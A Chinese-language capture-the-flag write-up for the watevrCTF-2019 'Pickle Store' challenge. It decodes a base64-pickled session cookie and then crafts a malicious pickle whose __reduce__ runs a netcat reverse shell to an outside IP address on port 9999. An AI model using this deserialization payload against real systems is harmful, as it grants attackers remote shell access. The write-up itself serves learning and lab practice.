[watevrCTF-2019]Pickle Store
知识点:
- python反序列化
- 反弹shell
题解:
看到题目环境,买东西 -> 伪造Session, 随便买一个抓包,看到Session数据,并不是jwt校验
看到后面有= -> 尝试base64解码
还是有乱码,但是存在最后的一个哈希加密的数据 和前面买过的商品记录
我其实注意到了题目pickle(python反序列化),但是对这种数据不敏感,没想到套了一层base64加密
所以,先base64解码,再pickle反序列化得到明文
import base64
import pickle
print(pickle.loads(base64.b64decode('gAN9cQAoWAUAAABtb25leXEBTXIBWAcAAABoaXN0b3J5cQJdcQMoWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBFgUAAAAWXVtbXkgc23DtnJnw6VzZ3Vya2FxBVgVAAAAWXVtbXkgc3RhbmRhcmQgcGlja2xlcQZYFQAAAFl1bW15IHN0YW5kYXJkIHBpY2tsZXEHZVgQAAAAYW50aV90YW1wZXJfaG1hY3EIWCAAAAA2N2E2YzBjNjA2YjRlODczNTI0ZTQ5NzI5NmJlYTEwZHEJdS4=')))
-> {'money': 370, 'history': ['Yummy standard pickle', 'Yummy smörgåsgurka', 'Yummy standard pickle', 'Yummy standard pickle'], 'anti_tamper_hmac': '67a6c0c606b4e873524e497296bea10d'}
最后这个哈希值,起的肯定是校验作用,如何去破解?我不会了,去搜了wp,说是这个题可以直接通过 python反序列化,上传一个反弹shell的payload,不需要管这个校验(不懂)
python反弹shell的exp: — 需要公网ip,我看wp说是用小号在Buu开了一个什么东西,应该有些题会随机给出ip,可以去看看
import base64
import pickle
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc 114.55.129.236 9999 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
在网页中直接F12,修改Cookie中的值然后刷新即可
当前目录下就有flag文件
总结:
注意python反序列化的使用,pickle库,load反序列化,dump序列化
参考:
注意python反序列化的使用,pickle库,load反序列化,dump序列化
参考:
https://blog.csdn.net/mochu7777777/article/details/107589233